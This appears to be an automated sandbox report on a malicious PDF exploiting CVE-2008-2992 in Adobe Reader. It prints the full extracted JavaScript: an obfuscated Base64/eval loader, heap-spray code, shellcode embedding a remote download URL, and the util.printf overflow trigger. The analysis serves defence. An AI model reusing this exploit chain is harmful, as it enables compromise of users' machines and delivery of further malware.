PDF malware analysis — malicious · 85e1cdf7845fbefa

MALICIOUS

PDF

4.1 KB First seen: 2026-05-03

MD5: b29253528079e305fd11d57029dbdeb2 SHA-1: 01b0700ef77acd22a9daf40b5ce8a7db25bef416 SHA-256: 85e1cdf7845fbefa2c3449c9119f29738e766132d80fa2b02b13873344de53b2

336 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that utilizes a custom Base64 decoder and the eval() function to execute exploit code. The script is designed to download a second-stage payload from the URL http://93.174.93.11/~delmonca/u/load.php, indicating a dropper functionality. The exploit targets CVE-2008-2992, a known vulnerability in Adobe Reader.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
ClamAV: Pdf.Dropper.Agent-5341866-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-5341866-0
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
                        eval(output);
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://93.174.93.11/~delmonca/u/load.php Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0013_001.js`	pdf-javascript-stream	PDF /JS object 13 at offset 0x368	6469 bytes
SHA-256: `8ae9d3da5732360f45bf9a876b93e990cab10d55369163d1cdea503b337d0df7`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var Base64 = { _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", decode : function (input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = this._keyStr.indexOf(input.charAt(i++)); enc2 = this._keyStr.indexOf(input.charAt(i++)); enc3 = this._keyStr.indexOf(input.charAt(i++)); enc4 = this._keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } eval(output); } } Base64.decode("ZnVuY3Rpb24gWkMwdzBSNUw4U0JJR1AoR0pEUTJCQVlJaCl7IHJldHVybiBTdHJpbmdbJ2Zyb21DaGFyQ29kZSddKEdKRFEyQkFZSWgpO30gZnVuY3Rpb24gQ0Fqc3NNVjNIT0p1TnUoYWRqcm4yZzlQdnMpeyB2YXIgbzREV25RMlVUTHFhPTAsIHJWN0x5UTd2OHBxWj1hZGpybjJnOVB2cy5sZW5ndGgsIFJGbXhNek1jdmRRN0FHPTEwMjQsIHJmM1FHbVIzOHpyZmcsIE54RkxwN1QySXcsIHVRY2RyNW5oYT0nJywgcVg5SWg9bzREV25RMlVUTHFhLCBHZnkyNEdvWjZCVHQ1PW80RFduUTJVVExxYSwgaGZacFFGV3BRQThDNFM9bzREV25RMlVUTHFhLCBUMWFsYlVUUD1BcnJheSg2MywxOCwxNyw4LDksNDgsNDksMzQsNDUsMiwwLDAsMCwwLDAsMCw0NywzNSwyMiw2MCw2MSwyMCwzLDMyLDU1LDAsMjMsMzksMjUsNjIsNDMsNDQsNTcsNDIsMzEsMTAsMzcsNTYsMzgsNSwxNiwxNSwxNCwwLDAsMCwwLDEzLDAsMjYsNTAsNiwxMSwyOCw1OCw0MSwzNiwzMyw0NiwzMCwyNyw0MCw1Myw1NCw1MSwyMSwxOSw1MiwxLDI0LDEyLDQsNywyOSw1OSk7IGZvcihOeEZMcDdUMkl3PU1hdGguY2VpbChyVjdMeVE3djhwcVovUkZteE16TWN2ZFE3QUcpO054RkxwN1QySXc+bzREV25RMlVUTHFhO054RkxwN1QySXctLSl7IGZvcihyZjNRR21SMzh6cmZnPU1hdGgubWluKHJWN0x5UTd2OHBxWixSRm14TXpNY3ZkUTdBRyk7cmYzUUdtUjM4enJmZz5vNERXblEyVVRMcWE7cmYzUUdtUjM4enJmZy0tLHJWN0x5UTd2OHBxWi0tKXsgaGZacFFGV3BRQThDNFN8PShUMWFsYlVUUFthZGpybjJnOVB2cy5jaGFyQ29kZUF0KHFYOUloKyspLTQ4XSk8PEdmeTI0R29aNkJUdDU7IGlmKEdmeTI0R29aNkJUdDUpeyB1UWNkcjVuaGErPVpDMHcwUjVMOFNCSUdQKDIwNF5oZlpwUUZXcFFBOEM0UyYyNTUpOyBoZlpwUUZXcFFBOEM0Uz4+PTg7IEdmeTI0R29aNkJUdDUtPTI7IH0gZWxzZSB7IEdmeTI0R29aNkJUdDU9NjsgfSB9IH0gZXZhbCh1UWNkcjVuaGEpOyB9IENBanNzTVYzSE9KdU51KCcwMWFRRzlmTkE3YVE2S05tZ016TjhibFFoemtmUDcwMFUwUmZQNzAwVTBSZlA3MDBVMFJmUGJANzRmdWZQTTAwUHp1ZlBRQE1ZQlJmUDFZMFpCUmZQMVkwQ0hSZlBWbTcwMFJmUFZtMFUwUmZQVm1BU291ZlBWM0RDS1JmUFFtNzRNdWZQUW03U1F1ZlAxQEF6TnVmUDdtN1VLdWZQVm03NFF1ZlBRWU00UXVmUFZVMF9RdWZQQkA3ZkFSZlA3QDBTTVJmUEJAN2ZBUmZQUVI3NGpSZlBWbTdDMFJmUFZtNzRmdWZQUVlNNFF1ZlBmdURDMFJmUFFSMHNAUmZQVnUwX29SZlBiME1DMFJmUFZtN0RIUmZQVm03NFF1ZlBvdUFmTlJmUGZ1RDRmdWZQajBNc0BSZlBRUk1ESFJmUGIwTTRvUmZQVm03RE51ZlBWbTc0UXVmUG91QWZOUmZQZnVENGpSZlBNdUFzQFJmUG9ZMFBOdWZQYjBNTUF1ZlBWbTdDQXVmUFZtNzRRdWZQb3VBZk5SZlBmdUQ0TVJmUGJZMHNAUmZQYkA3TUhSZlBiME1zTnVmUFZtNzB6dWZQVm03NFF1ZlBvdUFmTlJmUGZ1RFNRdWZQZlI3c0BSZlBiUkFuTlJmUGIwTVBAUmZQVm03TUpSZlBWbTc0UXVmUG91QWZOUmZQb203U2Z1ZlA3VU1mTnVmUEJSQU0wdWZQUUBNREtSZlBRVU1fb3VmUFYzRENOUmZQVm03NFZ1ZlBmdTA0UXVmUEJSQWZOUmZQUVlNWWZ1ZlBWbUFfb3VmUFZ1N3NLUmZQUVlNWlFSZlBRVU1ab3VmUGIwTVpCUmZQVm03ZkFSZlBWbTc0UXVmUDEwTVpRdWZQUXVNM0JSZlBCQDdZYlJmUGpZRENAUmZQVm03NFF1ZlBRQE00UXVmUFFVMF9vdWZQZlJBZkFSZlBmQDdmMHVmUFFATVpRdWZQTW03X291ZlBvWTBzQFJmUFZtNzRRdWZQZm03NFF1ZlBvdUFmQVJmUDFSTVNmdWZQZm1NNDd1ZlBmdUFmQVJmUGIwTVNqUmZQVm03c0t1ZlBWbTc0UXVmUG91QTRNdWZQZllEWVF1ZlBmVTA0UXVmUE11MG5IUmZQZllEc0h1ZlBWbUFfUXVmUDFSQW5AUmZQVm03NFF1ZlBCUkFEcFJmUFFZTVlRdWZQVlUwX291ZlBWdTdzS1JmUFFZTVpRUmZQUVVNWm91ZlBvbTdDQFJmUFZtNzRRdWZQMVJNNFF1ZlBmVU00MVJmUG91QTRNdWZQN1VBWWZ1ZlBmVUEwQVJmUG9ZMFpNdWZQTW03bkh1ZlBmVUFaUXVmUG91QWZBUmZQMVJNU01SZlBmbU00b3VmUGZ1QWZBUmZQYjBNU2pSZlBWbTdZTXVmUFZtNzRRdWZQVm03c0tSZlBCUkFEcFJmUFFZTVlRdWZQVlVNX291ZlBWMzdzS1JmUFFZTVpRUmZQUVVNWm91ZlBRbTdDQFJmUFZtNzRRdWZQMVJNNFF1ZlBRWU1EcFJmUFFtN19vdWZQVnU3c0tSZlBRWU1aUVJmUFFVTVpvdWZQVm03Q0BSZlBWbTc0UXVmUG91NzRRdWZQZjM3WjdSZlBiUjc0TXVmUGJSNzRNdWZQYlI3NE11ZlBiUjc0TXVmUGIwMGYwdWZQZnVNNGZ1ZlBRWU1aTXVmUGJZNzBLUmZQZjM3RHJSZlBiQDdEcFJmUFFZTVpvdWZQUVlNQzBSZlBWVU1uelJmUGZtMGZBUmZQZnVENE1SZlBCMEFmQVJmUFFZTTNNUmZQUXUwbnp1ZlBWVUFuQFJmUGZ1REQwdWZQQlJEZkFSZlBWVUFZUXVmUDdVQUQwdWZQb21NTU5SZlA3QDBfVnVmUGYwQTRNdWZQN1VBWkJSZlBWMzBESlJmUFFtN1BIUmZQb1k3M1ZSZlBWVU1uenVmUGZSME1LdWZQVlVBNGZSZlBvbTdEQXVmUG9SN0NBUmZQb1IwMzdSZlBCUkFab1JmUGZ1TUNIdWZQYllNZkFSZlBmdU1mQVJmUFZVQVlmdWZQMVJEMHpSZlBWVTBmQVJmUFFZTV83UmZQUVUwWlZSZlBNQDA0TXVmUFZtQWZBUmZQVlVBZkFSZlBmdTBNSHVmUGZZN1pmUmZQVm03NGpSZlBvQEFDQFJmUG9ZMERIUmZQZnVBRHBSZlBvVTBaN3VmUG8zMF9mUmZQVm03X29SZlBqWU1mclJmUGpZMHpBUmZQZkA3MEh1ZlBNUkRNTnVmUGZSNzAwUmZQTTBNMEhSZlBmUjcwQVJmUE0wMDBKUmZQTVIwTUt1ZlBmQDcwSFJmUFFZTXpLdWZQUTBBZktSZlBRQDdmQXVmUFEwMGZLdWZQZkA3ZkhSZlBmQDd6S1JmUFFAN2YwdWZQUVlNZkhSZlBqWTBNS3VmUGpZMGZyQHpUUll6Zm9RQE8wZEBNY1JqN1ZmQEBvU0BnMWp6Z0tkMF9iUkFnS2QwX2JSQWpKTURmb1FAT2RhbTZ6WTBITmxOTWJqUU5jQG1pa01AaFZTbUdNZm1tVlFVR1ZRbU43ZGdIQGRnVDlhUWgwZEBNU1ptZ1NmUVUxU0NRamFQMGJOQEt4MEBDZnpEZm9RQE9kYW1qZmxDMGJOQDcwbGpqTWRqTUJRbU4xWjBHTmZRVFJAajhmZHowN2xnTmMwQENmTlUwVk5OMDdOQFRTZlFocFlVMGJOQDdGYVE3alNqaGNqUU5CTUR6MWFnR1ZTUDA3bGdOU1ptZ1NmUVUxZlBRalNDQ3JOTUNwWTBDSk1AVUJmUTYwZGpUamZQMDdsZ05ram1pZlFASE5sTk1ia05NZmxtNmRhUXpia0FNZmxObjFrUEhOZm1NMWtnb2NZMEhKUTg1SEAwQ3AwRFRhelBLSk04OGZOQGlrTGdvY0xDMDdsZ05rTUBoVlNtR01mbW1WYU9mb1FAT0FTbTdjYUNqSEAwbkpSRG5KUkRuSlJEalJqem5KUkRuSkB6S3prRG5KUkRzcllEc3JZRHN6TVBqcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3pNUGpyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEalJqenNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JZRHNyWURzcllEc3JAekt6WkRzcllEc3JZRHNyWURzcllEalJqenNyWURzcllEc3JZRHNyWURzcllEc3JZRHN6TVBqcllEc3JZRHNyWURzcllEc3JZRGpSUmpVQlNtN3BOQFRTU2pRMWp6Z0FSTUNwWTBRZlpVbTlRbWlCTUQnKTs=");
`acroform_b64_00.js`	deobfuscated-js	PDF AcroForm base64 (decompressed) at offset 0x99D	3698 bytes
SHA-256: `e17e58d392ad6a51154a65e904521bb4ed97dc323692a83bad8c66caa53d4eda`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s). 64 of 78 identifiers look randomly generated (e.g. 'zKzkDnJRDsrYDsrYDszMPjrYDsrYDsrYDsrYDsrY') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function ZC0w0R5L8SBIGP(GJDQ2BAYIh){ return String['fromCharCode'](GJDQ2BAYIh);} function CAjssMV3HOJuNu(adjrn2g9Pvs){ var o4DWnQ2UTLqa=0, rV7LyQ7v8pqZ=adjrn2g9Pvs.length, RFmxMzMcvdQ7AG=1024, rf3QGmR38zrfg, NxFLp7T2Iw, uQcdr5nha='', qX9Ih=o4DWnQ2UTLqa, Gfy24GoZ6BTt5=o4DWnQ2UTLqa, hfZpQFWpQA8C4S=o4DWnQ2UTLqa, T1albUTP=Array(63,18,17,8,9,48,49,34,45,2,0,0,0,0,0,0,47,35,22,60,61,20,3,32,55,0,23,39,25,62,43,44,57,42,31,10,37,56,38,5,16,15,14,0,0,0,0,13,0,26,50,6,11,28,58,41,36,33,46,30,27,40,53,54,51,21,19,52,1,24,12,4,7,29,59); for(NxFLp7T2Iw=Math.ceil(rV7LyQ7v8pqZ/RFmxMzMcvdQ7AG);NxFLp7T2Iw>o4DWnQ2UTLqa;NxFLp7T2Iw--){ for(rf3QGmR38zrfg=Math.min(rV7LyQ7v8pqZ,RFmxMzMcvdQ7AG);rf3QGmR38zrfg>o4DWnQ2UTLqa;rf3QGmR38zrfg--,rV7LyQ7v8pqZ--){ hfZpQFWpQA8C4S\|=(T1albUTP[adjrn2g9Pvs.charCodeAt(qX9Ih++)-48])<<Gfy24GoZ6BTt5; if(Gfy24GoZ6BTt5){ uQcdr5nha+=ZC0w0R5L8SBIGP(204^hfZpQFWpQA8C4S&255); hfZpQFWpQA8C4S>>=8; Gfy24GoZ6BTt5-=2; } else { Gfy24GoZ6BTt5=6; } } } eval(uQcdr5nha); } CAjssMV3HOJuNu('01aQG9fNA7aQ6KNmgMzN8blQhzkfP700U0RfP700U0RfP700U0RfPb@74fufPM00PzufPQ@MYBRfP1Y0ZBRfP1Y0CHRfPVm700RfPVm0U0RfPVmASoufPV3DCKRfPQm74MufPQm7SQufP1@AzNufP7m7UKufPVm74QufPQYM4QufPVU0_QufPB@7fARfP7@0SMRfPB@7fARfPQR74jRfPVm7C0RfPVm74fufPQYM4QufPfuDC0RfPQR0s@RfPVu0_oRfPb0MC0RfPVm7DHRfPVm74QufPouAfNRfPfuD4fufPj0Ms@RfPQRMDHRfPb0M4oRfPVm7DNufPVm74QufPouAfNRfPfuD4jRfPMuAs@RfPoY0PNufPb0MMAufPVm7CAufPVm74QufPouAfNRfPfuD4MRfPbY0s@RfPb@7MHRfPb0MsNufPVm70zufPVm74QufPouAfNRfPfuDSQufPfR7s@RfPbRAnNRfPb0MP@RfPVm7MJRfPVm74QufPouAfNRfPom7SfufP7UMfNufPBRAM0ufPQ@MDKRfPQUM_oufPV3DCNRfPVm74VufPfu04QufPBRAfNRfPQYMYfufPVmA_oufPVu7sKRfPQYMZQRfPQUMZoufPb0MZBRfPVm7fARfPVm74QufP10MZQufPQuM3BRfPB@7YbRfPjYDC@RfPVm74QufPQ@M4QufPQU0_oufPfRAfARfPf@7f0ufPQ@MZQufPMm7_oufPoY0s@RfPVm74QufPfm74QufPouAfARfP1RMSfufPfmM47ufPfuAfARfPb0MSjRfPVm7sKufPVm74QufPouA4MufPfYDYQufPfU04QufPMu0nHRfPfYDsHufPVmA_QufP1RAn@RfPVm74QufPBRADpRfPQYMYQufPVU0_oufPVu7sKRfPQYMZQRfPQUMZoufPom7C@RfPVm74QufP1RM4QufPfUM41RfPouA4MufP7UAYfufPfUA0ARfPoY0ZMufPMm7nHufPfUAZQufPouAfARfP1RMSMRfPfmM4oufPfuAfARfPb0MSjRfPVm7YMufPVm74QufPVm7sKRfPBRADpRfPQYMYQufPVUM_oufPV37sKRfPQYMZQRfPQUMZoufPQm7C@RfPVm74QufP1RM4QufPQYMDpRfPQm7_oufPVu7sKRfPQYMZQRfPQUMZoufPVm7C@RfPVm74QufPou74QufPf37Z7RfPbR74MufPbR74MufPbR74MufPbR74MufPb00f0ufPfuM4fufPQYMZMufPbY70KRfPf37DrRfPb@7DpRfPQYMZoufPQYMC0RfPVUMnzRfPfm0fARfPfuD4MRfPB0AfARfPQYM3MRfPQu0nzufPVUAn@RfPfuDD0ufPBRDfARfPVUAYQufP7UAD0ufPomMMNRfP7@0_VufPf0A4MufP7UAZBRfPV30DJRfPQm7PHRfPoY73VRfPVUMnzufPfR0MKufPVUA4fRfPom7DAufPoR7CARfPoR037RfPBRAZoRfPfuMCHufPbYMfARfPfuMfARfPVUAYfufP1RD0zRfPVU0fARfPQYM_7RfPQU0ZVRfPM@04MufPVmAfARfPVUAfARfPfu0MHufPfY7ZfRfPVm74jRfPo@AC@RfPoY0DHRfPfuADpRfPoU0Z7ufPo30_fRfPVm7_oRfPjYMfrRfPjY0zARfPf@70HufPMRDMNufPfR700RfPM0M0HRfPfR70ARfPM000JRfPMR0MKufPf@70HRfPQYMzKufPQ0AfKRfPQ@7fAufPQ00fKufPf@7fHRfPf@7zKRfPQ@7f0ufPQYMfHRfPjY0MKufPjY0fr@zTRYzfoQ@O0d@McRj7Vf@@oS@g1jzgKd0_bRAgKd0_bRAjJMDfoQ@Odam6zY0HNlNMbjQNc@mikM@hVSmGMfmmVQUGVQmN7dgH@dgT9aQh0d@MSZmgSfQU1SCQjaP0bN@Kx0@CfzDfoQ@OdamjflC0bN@70ljjMdjMBQmN1Z0GNfQTR@j8fdz07lgNc0@CfNU0VNN07N@TSfQhpYU0bN@7FaQ7jSjhcjQNBMDz1agGVSP07lgNSZmgSfQU1fPQjSCCrNMCpY0CJM@UBfQ60djTjfP07lgNkjmifQ@HNlNMbkNMflm6daQzbkAMflNn1kPHNfmM1kgocY0HJQ85H@0Cp0DTazPKJM88fN@ikLgocLC07lgNkM@hVSmGMfmmVaOfoQ@OASm7caCjH@0nJRDnJRDnJRDjRjznJRDnJ@zKzkDnJRDsrYDsrYDszMPjrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDszMPjrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDjRjzsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsrYDsr@zKzZDsrYDsrYDsrYDsrYDjRjzsrYDsrYDsrYDsrYDsrYDsrYDszMPjrYDsrYDsrYDsrYDsrYDjRRjUBSm7pN@TSSjQ1jzgARMCpY0QfZUm9QmiBMD');
`custom_b64_stage_000.js`	deobfuscated-js	custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E	2025 bytes
SHA-256: `85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 8

Related samples 8

Extracted artifacts 3